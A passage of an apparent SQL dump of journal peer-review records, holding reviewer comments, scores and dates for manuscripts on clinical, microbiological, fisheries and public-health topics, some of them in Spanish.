has presented a very rare condition of Osteomyelitis in children. The case report was presented very well with the images of tomographic skull.\r\nOsteomyelitis of the skull base is an uncommon infectious process, very rare in pediatric patients and high mortality, its immediate diagnosis is vital to improve the prognosis of the patient, although MRI and contrast use is essential For the complete characterization of the disease and its complications, recognizing the typical and atypical findings by means of simple cranial tomography can save valuable time for the directed start of its therapeutic approach.\r\nI recommend this manuscript for publication.','Authors has presented a very rare condition of Osteomyelitis in children. The case report was presented very well with the images of tomographic skull.\r\nOsteomyelitis of the skull base is an uncommon infectious process, very rare in pediatric patients and high mortality, its immediate diagnosis is vital to improve the prognosis of the patient, although MRI and contrast use is essential For the complete characterization of the disease and its complications, recognizing the typical and atypical findings by means of simple cranial tomography can save valuable time for the directed start of its therapeutic approach.\r\nI recommend this manuscript for publication.','2019-11-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(870,7415,2919,NULL,'5','G','N','m','n','\r\n•	The manuscript was well written.\r\n•	Although the review didn’t advance the knowledge of the subject, it was clearly written and it supported its claims.\r\n•	The manuscript was a good summary and evaluation for the main points of the six articles. \r\n•	 Author focused on the important points, claims, and information.\r\n•	The evaluation of the article\'s main theme was logical. \r\n•	Author identified the contradictions, gaps, and inconsistencies in the six article.\r\n•	The article was a clear, thorough, and a useful explanation for the subject. \r\n•	Author decided that he agreed with the writer, then he provided sufficient support to his decision.\r\n•	 It is good that the author had put a suggestion that there will be a need for further studies.  \r\n•	Author summarized in conclusion the main points of the article, as well as his opinions about its significance, accuracy, and clarity of the manuscript. Author also commented on implications for further research or discussion in the field.\r\n•	Author did not use other articles to compare with the reviewed ones. It is important to refer to examples to use them to support the argument or the critique on the articles.\r\n•	References need to be corrected to follow the AMA citation guidelines and to be edited to reflect the same style and format. (References 1, 6).\r\nGood luck\r\n\r\n','\r\n•	The manuscript was well written.\r\n•	Although the review didn’t advance the knowledge of the subject, but it was clearly written and it supported its claims.\r\n•	The manuscript was a good summary and evaluation for the main points of the six articles. \r\n•	 Author focused on the important points, claims, and information.\r\n•	The evaluation of the article\'s main theme was logical. \r\n•	Author identified the contradictions, gaps, and inconsistencies in the six article.\r\n•	The article was a clear, thorough, and a useful explanation for the subject. \r\n•	Author decided that he agreed with the writer, then he provided sufficient support to his decision.\r\n•	 It is good that the author had put a suggestion that there will be a need for further studies.  \r\n•	Author summarized in conclusion the main points of the article, as well as his opinions about its significance, accuracy, and clarity of the manuscript. Author also commented on implications for further research or discussion in the field.\r\n•	Author did not use other articles to compare with the reviewed ones. It is important to refer to examples to use them to support the argument or the critique on the articles.\r\n•	References need to be corrected to follow the AMA citation guidelines and to be edited to reflect the same style and format. (References 1, 6).\r\nThank You\r\n','2019-11-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(871,4452,2768,NULL,'1','D','N','M','N','The manuscript attempts to analyze consumer\'s perception regarding fish quality in Iran. The manuscript has the following weaknesses:\r\n1. Very poor grammar and sentence construction\r\n2. Inconsistent sentences\r\n3. Over citation of references that do not provide much focus on the study e.g Line 61-66\r\n4. It is highly limited in scope, methodology and data analysis\r\n5. The introduction is bloated with many parameters of fish quality that does not appear anywhere in the results. There is a disjoint between the introduction and the whole manuscript.\r\n6. The treatment of survey data is too simplistic and does not provide any objective interpretation\r\n7. The results contain only two items (demographic information and one table of Fish Quality Evaluation - summarized only be frequency of responses.\r\n8. No relationship is provided between the two tables in 7 above\r\n\r\n\r\n','The manuscript falls far much below any form of publishable research. The following were noted:\r\n1. The author(s) have loaded the introduction with too many fish quality assessment parameters to set the agenda for this study and yet there is almost none of these parameters presented objectively in the results.\r\n2. There are many references that do not seem to have a good bearing or value in the manuscript.\r\n3. The description of methodology, it is not clear what was actually analyzed and which methods or tools were used\r\n4. The methodology should have relied heavily on Logistic Regression to combine demographic data and fish quality parameters.\r\n5. Use of Chi-square can not give any meaningful information since it provides only 2-way classification table.','2019-11-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(872,4452,2120,NULL,'1','D','N','M','N','The manuscript has attempted to present a study on the effect of detergents on the biochemical variation on different tissue of Labeo rohita. Whereas the manuscript seems to be interesting from the title, the text and layout does not seem to conform to international standards for preparing a scientific manuscript:\r\n1. Page 1 to 8 has just a handful of references and is basically grey literature. There is no mention or reference to any study on this topic in these pages except a treatise on detergents.\r\n2.It seems that the experimental setup consisted of static bioassay but this is neither mentioned nor does the author(s) seem to be aware of it.\r\n3. There is over-indulgence in describing the methods for estimation of proteins, carbohydrates and lipids whereas the authors could have referred to standard procedures and provide only the equations. For example Association of Official Analytical Chemists (AOAC) and some results from previous studies could have been adequate.\r\n4. There is no objective interpretation of the mean proximate composition of proteins, carbohydrates and lipids between control and experimental sets and it can not bet determined if these differences were statistically significant.\r\n5. Both Lc50 and Lc100 has been used with indication of mortality over time. This means that both mortality and survival rates can be computed. This type of data is usually analyzed using probit and survival curves can be constructed.\r\n6. Over 75% of the literature listed under references is not cited in the text.','The manuscript is inadequate due to the following observations:\r\n1. There is no consistency in the introduction nor the objectives of the study. The study has not been put in context other than providing excessive biological and ecological information.\r\n2. There is poor citation in the manuscript\r\n3. The authors seem not to be conversant with static bioassay and yet this is the focus of the study\r\n4. The authors do not seem to be conversant with probit analysis for survival/mortality rates and yet this is a core component of toxicity studies.\r\n5. The general outline of the manuscript does not meet the standards for scientific study in terms of the background, objectives, methodology,presentation and  interpretation of results.\r\n6. The discussion is focused on pesticides when the study was on detergents. The discussion tends to compare detergents with pesticides and heavy metals without any solid basis or results on the latter (mercury, nickel and chromium).','2019-11-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(892,9932,2933,NULL,'4','G','Y','Y','N','Try to provide 10 references atleast.\r\nThe article lacks description of PUBS. provide a brief one para report.\r\nsulfonylureas are best medicines for Diabetic Nphropathy, why can\'t these administered?\r\nUrinary tract infection is likely possible. So, what are the measures to cure this?\r\n','Try to provide 10 references atleast.\r\nThe article lacks description of PUBS. provide a brief one para report.\r\nsulfonylureas are best medicines for Diabetic Nphropathy, why can\'t these administered?\r\nUrinary tract infection is likely possible. So, what are the measures to cure this?\r\n','2019-11-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(894,8599,2852,NULL,'4','G','Y','Y','N','The study was a good one and provide details of the MRSA. a little minor corrections.\r\nKirby-Bauer disk diffusion: one line description needed.\r\nGive details about the symptoms like skin pustular infections as it is a major symptom.\r\nConclusion can be extended. Overall the study is worth reading for researchers.\r\n','The study was a good one and provide details of the MRSA. a little minor corrections.\r\nKirby-Bauer disk diffusion: one line description needed.\r\nGive details about the symptoms like skin pustular infections as it is a major symptom.\r\nConclusion can be extended. Overall the study is worth reading for researchers.\r\n','2019-11-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(895,4473,2939,NULL,'2','G','N','Y','N','1. At the third paragraphs the  authors refer \"These systems working on freshwater and marine water...\". References are needed. Please check the above papers. \r\nStathopoulou, P., Berillis, P., Levizou, E., Sakellariou-Makrantonaki, M., Kormas, A. K., Angelaki, A., ... & Mente, E. (2018). Basil and Nile tilapia Production in a Small Scale Aquaponic System. Journal of FisheriesSciences. com, 12(4), 1-3.\r\nVlahos, N., Levizou, E., Stathopoulou, P., Berillis, P., Antonopoulou, E., Bekiari, V., ... & Mente, E. (2019). An Experimental Brackish Aquaponic System Using Juvenile Gilthead Sea Bream (Sparus aurata) and Rock Samphire (Crithmum maritimum). Sustainability, 11(18), 4820.\r\n2. At the first four paragraph of the introduction there are no references. Please check and fix.\r\n3. At the Fish paragraphs the authors did not refer the marine species that can be used in an aquaponic system. Sea basses, sea breams and other species can be used. Once again please check \r\nVlahos, N., Levizou, E., Stathopoulou, P., Berillis, P., Antonopoulou, E., Bekiari, V., ... & Mente, E. (2019). An Experimental Brackish Aquaponic System Using Juvenile Gilthead Sea Bream (Sparus aurata) and Rock Samphire (Crithmum maritimum). Sustainability, 11(18), 4820.\r\n4. The figures in the Aquaponic Systems section and Table 2 have no references (the source that were taken from). Please give appropriate citations.  \r\n5. There references that the author used at the end of the paper, there are not referred at the text i.e. Graber, A. and Junge, R., 2009. Aquaponic Systems: Nutrient recycling from fish wastewater by 	vegetable production. Desalination, 246(1-3), pp.147-156. That research is not referred in the text. Please check and refer all the references in the text. \r\n6. English must be improved. ','','2019-11-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(896,5743,2645,NULL,'4','G','Y','Y','Y','The manuscript has presented a comprehensive analysis of the education system in Floriano, Brazil. The authors have highlighted the issues with reference to the teaching of anatomy. It lays stress on the importance of experimental or practical-based teaching using models, audio-visual aids and hands-on training. This would help the students to grasp the subject much better. The authors provide insightful suggestions on how to improve the education system in Brazil in general and the Municipality of Floriano in particular. The paper is also well-written. However, there are some errors pertaining to grammar, typo, and syntax, which need to be corrected. Overall, the paper is highly informative and enriches the knowledge base in this area of research.  ','The manuscript incorporates the original findings of a study that investigates the role of practical-based education as opposed to bookish education. The study investigates this issue with respect to the teaching anatomy for providing an understanding of the structure of the human body. The study findings are very important and shed new light on this topic, especially with reference to Brazil. The paper is also well-written with very few errors. I, therefore, strongly recommend that the paper should be accepted for publication with only minor modifications. ','2019-11-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(899,4506,2832,NULL,'3','g','n','y','n','Although the present study was original, unfortunately, this paper is written very short, even for short communication, hastily and sloppy. B. leachii is one of alien opisthobranch and new information about it (as in this paper) is very important. The paper needs major revisions in the text. The Author should be re-checked some records (e.g.  Gerovasileiou et al., 2017 , DOI: 10.12681/mms.13771) All Mediterranean records of B. leachii should be cited and represents in a map or figure. The description of species is needed more details.  In the text, there is no discussion section? Why? Please enter the discussion section and give information about vectors that influence distributions of these alien species. And please write species name as italic.','Although the present study was original, unfortunately, this paper is written very short, even for short communication, hastily and sloppy. B. leachii is one of alien opisthobranch and new information about it (as in this paper) is very important. However, this paper cannot acceptable in this situation. ','2019-11-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(900,4506,2939,NULL,'5','g','y','y','n','The manuscript is well written. \r\nThe importance of the Aquaponic system is growing per day. The authors provided well information about it for readers.','','2019-11-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(910,9663,1674,NULL,'4','g','y','y','y','•	Article is acceptable with minor changes.  \r\n•	Background: specify the objective of study, here more clarity is required. Observation on present situation might be added.\r\n•	Methods and Findings: Include design (Design section to be elaborated), setting, participants and results in this section and in the sentence format. \r\n•	Cross check the P-Values of all categories.\r\n•	Aim may be modified to feel more meaningful (example: The present study is aimed to identify...........)\r\n•	Background Line no. 4: “resulted in a 0.5% overall increase in nursing staff in England as compared to a 2.3% increase in other allied health”\r\n','•	Article is acceptable with minor changes.  ','2019-12-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(911,9663,2727,NULL,'4','g','y','y','y','•	Background: Observation on present situation might be added.\r\n•	Abstract Result: line No 4: “achievements and job content are factors associated with health care workers motivation”. Conclusion: reframe the sentence to be meaningful\r\nFig 1	•	Process flow to be corrected, input for any of the process shall be clearly marked.\r\nConcept	•	Line no 148 to 149: two sentences to be separated.\r\n•	Line no. 149: correction required example work place motivation explained as\r\n','•	Article is acceptable with minor changes.  \r\nBackground: Observation on present situation might be added.','2019-12-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(912,9663,555,NULL,'4','g','y','y','y','•	Article is acceptable with minor changes.  \r\nNote: Study Claim for Zambia Country But study conducted only in three provinces and Sample size is very low for KII design\r\nAbstract	•	Aim and Objective of the study to added.\r\n•	Method: Reframe the sentence “NVivo 11 was used to aid coding, management and analysis” to more relevant and meaningful.\r\n•	Results: Reframe the sentence “Observed weaknesses in one building block affected other health system building blocks negatively.” To more meaningful.\r\n•	The sentence “The major barriers to the implementation were inadequate infrastructure, funding and human resources.” Is repeated in conclusion.\r\n•	Conclusion: Correct the sentence “The major barriers to the implementation include included inadequate human resources.............”\r\n•	Introduction Para 1, Line no. 4 to 7: copied exactly from WHO website. “However, adolescents are prone to early unwanted pregnancies, septic abortions, sexual abuse, HIV, alcohol and substance use and abuse and vulnerability to risks associated with early sexual activity and child marriage, and limited access to family planning services”. Reframe and publish in this article.','	Article is acceptable with minor changes.  \r\nabove mentioned details should be added','2019-12-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(913,9663,557,NULL,'4','g','y','y','y','Article Content is very good\r\n\r\nArticle is acceptable with minor changes.\r\n•	Conclusion section is missing\r\n•	Other Literature references are missing ','Article Content is very good\r\n\r\nArticle is acceptable with minor changes.','2019-12-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(923,10251,3011,NULL,'4','R','N','Y','Y','In the manuscript, Figure No.1 describes the subjects based on demographic variables. The percentage used by author for particular population is unclear. Kindly mention among how many populations the data has been taken and update the references for the same as well. Also Figure no 2 describes the knowledge towards breast cancer in that also justification of statistical methods is unclear. Mention the sample size to be provided as well as the software used in the methodology section. Mentioning the software and the version of it for the statistical data verification in methodology is mandatory. Provide specific references as well for the same in reference section. ','in a country like Nepal , this is good job to published in order to encourage the research environment in this counties , second point; accept like article will reinforce other researcher to send their articles to this journal. ','2019-12-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(927,6238,555,NULL,'4','R','D','Y','N','Very interesting work! The only issue I would like to address is the sample size and the selection process. Why 21 and how exactly did you select your key informants? Which organizations are they coming from, what is their relation to the National Plan?','After addressing those above-mentioned methodological issues I would suggest to accept the manuscript. ','2019-12-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(935,650,2988,NULL,'4','g','n','m','y','Authors investigated characteristics of migraine in Saudi Arabia. The results contained no new scientific information. However, the data might be useful in the clinical field in Saudi Arabia. Therefore, this manuscript will be acceptable after revision.\r\n\r\nAuthors decribed that the study showed a positive correlation between migraine, and highr education level and income, contrary to Indian study (27). The reason seems that the subjects of this study were indivisuals in Riyadh, the capital of Saudi Arabia. Authors should mention this limitatiotn of study population. ','','2019-12-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(940,10211,3011,NULL,'5','G','Y','Y','Y','Topic of Manuscript is new and is essential and it will be very important in next five years as the patients of breast cancer will be increase in next five years. So present is mostly innovative.\r\nIt provides new information to the readers. The present study is according to the norms and guidelines of the respective journal. So it can be accepted for publication.  ','Topic of Manuscript is new and is essential and it will be very important in next five years as the patients of breast cancer will be increase in next five years. So present is mostly innovative.\r\nIt provides new information to the readers. The present study is according to the norms and guidelines of the respective journal. So it can be accepted for publication.  So present article is recommended for publication.','2019-12-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(941,10211,2874,NULL,'3','r','Y','M','n','It is very short communication. Please provide more details of the study. It is not according to the guidelines and norms of respective journal. So it can be published only after revision. ','It is very short communication. Please provide more details of the study. It is not according to the guidelines and norms of respective journal. So it can be published only after revision.','2019-12-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(943,10251,2874,NULL,'2','G','Y','M','Y','1. Could you please write more details about the case assessment, the pretreatment investigations not enough for diagnosis as its not a first case but rare\r\n2. It\'s better to go in-deep regarding the treatment. explain the treatment modality used.\r\n3. What about the outcomes\r\n4. follow up period not mention in the tex, as well as how you follow u p the case after treatment.\r\n','Need more details to be approved and published . ','2019-12-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(946,10393,2874,NULL,'3','R','N','M','Y','Nekro et al has presented a case study on a 58-year-old man with MALT lymphoma on upper and lower eyelids. Case report on MALT lymphoma on the eyelids were reported previously. However, because it is not commonly found this case report can be considered for evaluation provided the manuscript is written/formatted accordingly. My comments/suggestions are as follows: - \r\n1.	A brief background on MALT lymphoma prevalent specially on eyelids needs to be provided. \r\n2.	The figures need to be labeled. \r\n3.	What kind of biopsy was performed? Was is incisional?\r\n4.	It has a been described that histologic diagnosis was done, hence a brief description of the histopathology needs to be provided.\r\n5.	It is mentioned that immunohistochemistry was performed and seen to be consistent with MALT. Which marker was used for IHC? It needs to be mentioned.\r\n6.	It is mentioned that patient underwent radiation therapy. The time, number, cycle and regime of the radiation therapy needs to be mentioned.\r\n7.	A sentence needs to be added as conclusion based on this case.\r\n','Nekro et al has presented a case study on a 58-year-old man with MALT lymphoma on upper and lower eyelids. Case report on MALT lymphoma on the eyelids were reported previously. However, because it is not commonly found this case report can be considered for evaluation provided the manuscript is written/formatted accordingly. My comments/suggestions are as follows: - \r\n1.	A brief background on MALT lymphoma prevalent specially on eyelids needs to be provided. \r\n2.	The figures need to be labeled. \r\n3.	What kind of biopsy was performed? Was is incisional?\r\n4.	It has a been described that histologic diagnosis was done, hence a brief description of the histopathology needs to be provided.\r\n5.	It is mentioned that immunohistochemistry was performed and seen to be consistent with MALT. Which marker was used for IHC? It needs to be mentioned.\r\n6.	It is mentioned that patient underwent radiation therapy. The time, number, cycle and regime of the radiation therapy needs to be mentioned.\r\n7.	A sentence needs to be added as conclusion based on this case.\r\n','2019-12-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(948,10287,2988,NULL,'R','g','n','y','y','1. What is the questionnaire used. It would be useful for reader to see the questions\r\n2. Discussing selection bias or how the samples were chosen? As female population is higher than male as data is skewed\r\n3. What defines adequate sleep among individuals \r\n4. What medicine people take if they are on and frequency - it will be useful to discuss and have information\r\n5. What time frame data is collected\r\n6. Was a research consent requested\r\n7. Any associated symptoms of depression or co morbid psychiatric conditions in chosen subjects\r\n8. The questionnaire quantify the migraine criteria - hours of headaches and frequency or status migrainous\r\n9. Need more clear data and information regarding “worsening of quality of life “ - how and what way \r\n10 any data available for subjects if they were on any medication or medical issues which can confound with headaches / risk factors\r\n11. Need more details of HRQOL -in what way it is affected in individuals- work hours/ unemployment or disability\r\n12. Discussing caffeine intake in terms of what is norms for local population compare to western populations as increased intake.\r\n13. How this study can help for future directions. \r\n\r\n','The manuscript has strong introduction and literature review. However the more details needed for results and discussion. Author  needs to mention strength and weakness. \r\nDoes this study answers Authors question - if yes than what ways?  \r\nMoreover the Questionnaire can be generalized for Saudi population given the lifestyle differences - Author can discuss  the validity points.  ','2019-12-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(957,8590,2463,NULL,'5','D','y','y','y','El manuscrito fue escrito técnicamente bueno. El objetivo de los conceptos del manuscrito sobre bases moleculares y su implicación en la fisiopatología, con énfasis en enfermedades crónicas no transmisibles como la diabetes mellitus, la obesidad y las enfermedades cardiovasculares. Los resultados evidenciaron que la aparición o represión de estas enfermedades ocurrió debido a mecanismos epigenéticos. Recomiendo este manual para publicación sin ningún cambio','El manuscrito fue escrito técnicamente bueno. El objetivo de los conceptos del manuscrito sobre bases moleculares y su implicación en la fisiopatología, con énfasis en enfermedades crónicas no transmisibles como la diabetes mellitus, la obesidad y las enfermedades cardiovasculares. Los resultados evidenciaron que la aparición o represión de estas enfermedades ocurrió debido a mecanismos epigenéticos. Recomiendo este manual para publicación sin ningún cambio','2019-12-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(958,5407,3072,NULL,'4','G','Y','Y','N','References can be added.\r\nInvitro method is beneficial compared to the one used. Advantages and disadvantages of this method can be discussed.\r\nTabular representation can be given about the details.\r\nIn Materials and methods, the description about the Serogrouping of E. coli isolates can be elaongated and it is not properly mentioned.\r\nBacteriophage cloning by repetitive single plaque isolation: The values are not clear.\r\n','Review the manuscript','2019-12-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(965,4512,3043,NULL,'1','R','Y','Y','N','The interpretations of most of the histological slides are not correct. The symptoms mentioned are not what they were on the slide. The active compound in the bitter leaf that may be toxic is not mentioned at all.','The researchers have little or no knowledge of histology which is what the whole work is all about. The interpretations are different from  was on the slide, so the researcher and its conclusion are misleading','2019-12-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(968,8796,3071,NULL,'5','r','y','y','y','The two fundamental indispensable elements in making such estimates are evaluating the range of anglers who fish generally sufficient to open the possibility of making fitness gains, and the proportion of these – which we label θ – who will really make such gains, relative to the counterfactual the place there is an angling ban. two We conjecture that zero < θ < 1, and on the basis of restrained facts about angler behaviour, advise that its cost is in all likelihood to lie at the decrease give up of the range. This ought to supply normal savings to the New Zealand health device of NZ$ four to NZ$ 18 million annually. More lookup on angler behaviour is needed to generate higher estimates the use of this novel methodology.','','2019-12-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(973,8599,2856,NULL,'4','G','Y','Y','N','Staphylococcus aureus is a significant human pathogen that causes a wide scope of clinical diseases. It is a main source of bacteremia and infective endocarditis just as osteoarticular, skin and delicate tissue, pleuropulmonary, and gadget related contaminations. Selected subjects is significant to evaluate the Methicillin Resistant Staphylococcus aureus nasal carriage among children. Risk factor for nasal colonization of S. aureus was proved in joint families and obtained significant results are tabulated clearly. I agree with the recommendations from the author and strongly recommend to publish with out any changes.','Staphylococcus aureus is a significant human pathogen that causes a wide scope of clinical diseases. It is a main source of bacteremia and infective endocarditis just as osteoarticular, skin and delicate tissue, pleuropulmonary, and gadget related contaminations. Selected subjects is significant to evaluate the Methicillin Resistant Staphylococcus aureus nasal carriage among children. Risk factor for nasal colonization of S. aureus was proved in joint families and obtained significant results are tabulated clearly. I agree with the recommendations from the author and strongly recommend to publish with out any changes.','2019-12-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(978,9914,2744,NULL,'4','G','Y','Y','N','Shiga toxin created by E. coli O157:H7 are the essential destructiveness factors answerable for hemorrhagic colitis and hemolytic uremic disorder in people. Escherichia coli O157:H7 shed by creatures may endure for long terms in debased soil, water, compost, and bolster and be spread to other uninfected creatures. The aim of the study was clear about the review and analysis of antimicrobial susceptibility of E coli O157:H7. Literature review is good enough about the study. Significant results are shown in Shiga toxin-producing Escherichia coli strains were found highly resistant and E.coli O157:H7 showed resistance to Chloramphenicol, Tetracycline, Erythromycin and Streptomycin. I recommend to publish. ','','2019-12-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(981,10393,3011,NULL,'4','R','Y','M','Y','1.	The death rate of BC in Nepal is mentioned in 2017, is current 2018 statistics available? Please mention the most current statistics wherever applicable.\r\n2.	In the last paragraph of the introduction the statement “The incidence ….of western lifestyle….detection” is vague and needs to be precise by defining exactly what is meant by the western lifestyle.\r\n3.	In background first line of the first paragraph “in recent studies….among American women” most recent statistics are available for example Siegel et al 2019. Please refer to the most recent statistics. \r\n4.	 In the last paragraph of the background “A study of Nepal…  , “it needs to be mentioned whether the respondents of the study belong to the same socio-economic background.\r\n5.	Method:- The questionnaire is developed by online search. References need to be put of available questionnaire studies here.\r\n6.	The last paragraph of the method is repetitive.\r\n7.	 In Findings:- 4.1 findings need to be put in a tabular form for better and clear understanding.\r\n8.	What is meant by the attitude towards BSE? The difference between attitude towards BSE and knowledge about BSE as described is not very clear. The definition/distinction between these two needs to mentioned for better understanding.\r\n9.	In conclusion, one line needs to be added to how this study can make a difference for BC patients.\r\n10.	The English needs to be improved and discussion needs to shorten.\r\n','1.	The death rate of BC in Nepal is mentioned in 2017, is current 2018 statistics available? Please mention the most current statistics wherever applicable.\r\n2.	In the last paragraph of the introduction the statement “The incidence ….of western lifestyle….detection” is vague and needs to be precise by defining exactly what is meant by the western lifestyle.\r\n3.	In background first line of the first paragraph “in recent studies….among American women” most recent statistics are available for example Siegel et al 2019. Please refer to the most recent statistics. \r\n4.	 In the last paragraph of the background “A study of Nepal…  , “it needs to be mentioned whether the respondents of the study belong to the same socio-economic background.\r\n5.	Method:- The questionnaire is developed by online search. References need to be put of available questionnaire studies here.\r\n6.	The last paragraph of the method is repetitive.\r\n7.	 In Findings:- 4.1 findings need to be put in a tabular form for better and clear understanding.\r\n8.	What is meant by the attitude towards BSE? The difference between attitude towards BSE and knowledge about BSE as described is not very clear. The definition/distinction between these two needs to mentioned for better understanding.\r\n9.	In conclusion, one line needs to be added to how this study can make a difference for BC patients.\r\n10.	The English need to be improved and discussion needs to shorten.\r\n','2019-12-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(991,10685,3126,NULL,'6','g','y','y','y','( https://doi.org/10.1111/tbj.13174) and (Galician medical journal 2019) I suggest both of these uptodate studies for the references.','acceptable after revision','2019-12-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(994,10393,3098,NULL,'3','g','Y','Y','Y','1.	English grammar and spellings need thorough formatting.\r\n2.	Major concern- why the study was validated on only one SCLC?Is no other cell lines available including primary cell lines. Some receptors are overexpressed more on particular cell lines even of same disease hence it is very difficult to conclude by comparing only one SCLC cell line with normal. If data is available on other cell lines it needs to be shown.\r\n3.	No data on mass spectrometry is shown. The most overexpressed proteins need to be shown in a tabular or graphical form.\r\n4.	Proper subheads should be added to the material and method sections.\r\n5.	Major concern- No connection is actually shown between transferrin and Nanoparticles. It is shown that transferrin is overexpressed on SCLC cell lines and NP accumulated near tumor. However how transferrin can be targeted and whether targeting transferrin can have a therapeutic effect is not studied or shown. Also, no western blot is shown to check whether transferrin is overexpressing on the subcutaneous tumors formed.\r\n6.	Pictures of tumor formed needs to be shown. \r\n7.     Also, the tumors are formed in nude mice that have a compromised immune system. Is any mouse cell lines on SCLC available to form tumor in mice with immune system? because that model is more compatible with patients who are in need of therapy and can justify the claim that this can be used as diagnostic method.\r\n\r\n','1.      English grammar and spellings need thorough formatting.\r\n2.	Major concern- why the study was validated on only one SCLC? Is no other cell lines available including primary cell lines? Some receptors are overexpressed more on particular cell lines even of the same disease hence it is very difficult to conclude by comparing only one SCLC cell line with normal. If data is available on other cell lines it needs to be shown.\r\n3.	No data on mass spectrometry is shown. The most overexpressed proteins need to be shown in a tabular or graphical form.\r\n4.	Proper subheads should be added to the material and method sections.\r\n5.	Major concern- No connection is actually shown between transferrin and Nanoparticles. It is shown that transferrin is overexpressed on SCLC cell lines and NP accumulated near the tumor. However how transferrin can be targeted and whether targeting transferrin can have a therapeutic effect is not studied or shown. Also, no western blot is shown to check whether transferrin is overexpressing on the subcutaneous tumors formed.\r\n6.	Pictures of tumor formed needs to be shown. \r\n7.     Also, the tumors are formed in nude mice that have a compromised immune system. Are any mouse cell lines on SCLC available to form a tumor in mice with an immune system? because that model is more compatible with patients who are in need of therapy and can justify the claim that this can be used as a diagnostic method.\r\n\r\n','2019-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(995,8590,2584,NULL,'4','G','y','y','y','I would just suggest to try to add an explanation for the different use of these kind of therapies among countries (some of these treatments are part of standard approaches there since, as an example, both homeopathy and acupuncture are recognized medical activities in Germany).','I would just suggest to try to add an explanation for the different use of these kind of therapies among countries (some of these treatments are part of standard approaches there since, as an example, both homeopathy and acupuncture are recognized medical activities in Germany).','2019-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(996,8590,2694,NULL,'5','g','y','y','y','El manuscrito estaba muy bien escrito sobre CANF y su importancia médica en la tendencia currnet.\r\nLa conclusión estaba muy bien escrita y las limitaciones también se notaron muy claramente.\r\nSin embargo, la terapia con la CNAF es una técnica innovadora y beneficiosa que actualmente está cambiando el manejo de los pacientes con falla respiratoria.\r\nEste manuscrito está listo para su publicación.','El manuscrito estaba muy bien escrito sobre CANF y su importancia médica en la tendencia currnet.\r\nLa conclusión estaba muy bien escrita y las limitaciones también se notaron muy claramente.\r\nSin embargo, la terapia con la CNAF es una técnica innovadora y beneficiosa que actualmente está cambiando el manejo de los pacientes con falla respiratoria.\r\nEste manuscrito está listo para su publicación.','2019-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(997,7418,3140,NULL,'4','g','Y','Y','Y','Present is according to the norms of the respected journal, it provides very good information which is very significant. It is advice to change the sequence of the study like Abstract, Aim, objectives, introduction, methodology, observations, discussions, summery, conclucion, results. There is only  one sugestion to change the article as per the above sequence. So It can be accecpted for publication after these revision.','Present is according to the norms of the respected journal, it provides very good information which is very significant. It is advice to change the sequence of the study like Abstract, Aim, objectives, introduction, 